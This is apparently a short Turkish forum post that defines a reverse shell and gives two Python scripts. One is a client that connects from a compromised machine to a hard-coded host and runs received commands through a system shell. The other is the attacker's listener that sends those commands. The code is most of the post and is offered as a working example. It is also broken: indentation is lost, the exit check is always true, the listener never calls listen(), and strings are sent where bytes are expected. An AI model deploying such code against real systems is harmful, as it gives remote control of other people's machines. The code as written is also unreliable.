-Reverse Shell Nedir:--
-"Ele geçirilen sunucu; netcat, yada python, perl vb programlama dilleri ile yazılmış scriptler ile saldırganın bilgisayarının dinlemede olduğu bir portuna bağlantı talebi gerçekleştirmesine dayanmaktadır."--
-Python ile yazdığım örnek:--
--Server.py---
Kod:
import socket
import subprocess
port = 6161
ip = "192.168.0.28"
def yolla():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((ip,port))
while True:
komut = s.recv(1024)
if 'cikis' or 'exit' or 'finish' in komut:
s.close()
break
else:
komut_calistir = subprocess.Popen(komut, shell=True, stdout=subprocess.PIPE,stderr=subprocess.PIPE)
s.send(komut_calistir.stdout.read())
s.send(komut_calistir.stderr.read())
yolla()
----shell.py-----
Kod:
import socket
port = 6161
ip = "192.168.0.28"
def yolla():
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind((ip,port))
socketaddr,ipaddr = s.accept()
print('[+]Baglanti basariyla saglandi ', ipaddr)
while True:
komut = input('[*]Komut> ')
if 'cikis' or 'exit' or 'finish' in komut:
socketaddr.send('cikis')
socketaddr.close()
break
else:
socketaddr.send(komut)
print(socketaddr.recv(1024))
yolla()
